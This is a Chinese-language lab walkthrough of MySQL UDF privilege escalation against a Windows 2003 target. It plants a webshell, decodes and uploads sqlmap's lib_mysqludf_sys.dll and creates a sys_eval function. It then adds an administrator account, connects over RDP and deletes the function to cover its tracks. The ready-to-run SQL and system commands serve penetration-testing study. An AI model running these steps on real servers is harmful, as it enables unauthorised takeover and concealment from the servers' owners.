udf提权
原理:
udf全称为:user defined function,即用户定义函数。通过全称我们可以大致判断出该提权手段是通过mysql声明并使用我们所自定义的可以提权的函数(比如执行系统命令)来进行提权。udf的文件后缀为dll。
条件:
-
root权限(需要创建和删除自定义函数)
-
mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录
-
mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)
实验环境:
-
攻击机:win7
-
靶机:win2003
复现流程:
在靶机写入一句话木马并用蚁剑连接
webshell.php内容:
通过蚁剑连接webshell
通过蚁剑的数据操作功能连接该网站的mysql数据库
连接数据库后我们需要先查看数据库的位数与版本,看看数据库是32位还是64位,数据库是>=5.1还是<5.1,以此来选择不同的dll文件与不同的路径放置dll文件。在这里我们使用show variables like '%version_%'查看数据库位数
可以看到当前数据库的位数是32位
再使用select version();查看数据库版本
可以看到数据库版本为5.5.53>5.1所以我们的udf文件应该放置到mysql目录下的lib/plugin目录中。其中plugin目录是不存在的,我们需要自己建立一个plugin的目录。
此时我们就需要找到提权所需的udf.dll文件。该文件可以在sqlmap中找到,这些udf文件存放在sqlmap的sqlmap\data\udf\mysql\windows目录,该目录下有32和64两个文件夹,分别对应不同mysql位数的dll文件,因为这里的mysql是32位,所以我们选择32位的udf文件来进行提权。使用udf提权前需要利用sqlmap自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\Penetration\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
解码后会在sqlmap\data\udf\mysql\windows\32文件夹下生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。
此时udf文件已经上传至mysql目录下的/lib/plugin目录,接下来我们就要声明该文件中所定义的函数并使用它了。在这里我们使用的是sys_eval()函数
首先使用create function sys_eval returns string soname "lib_mysqludf_sys.dll"来声明sys_eval()函数
可以看到已经导入成功,紧接着使用select * from mysql.func where name = 'sys_eval';查看是否导入成功或者重复导入
可以看到sys_eval已经导入成功,这时我们就可以使用sys_eval执行系统命令了。
首先我们使用select sys_eval('net user Yhck 123456 /add ');命令添加一个名为Yhck的用户
可以看到命令执行成功。
再执行select sys_eval('net localgroup administrators Yhck /add');命令将Yhck用户添加进管理员组进行提权
可以看到提权成功。
使用select sys_eval('netstat -ano | findstr 3389');命令查看3389端口是否开启
可以看到3389端口已经开启。
启用mstsc.exe连接靶机的3389端口,使用Yhck 123456进行登录
连接成功
连接成功后使用
-
drop function sys_eval;
-
delete from mysql.func where name='sys_eval';
这两条命令删除所创建的自定义函数,清除痕迹
参考:
https://www.cnblogs.com/wkzb/p/13174291.html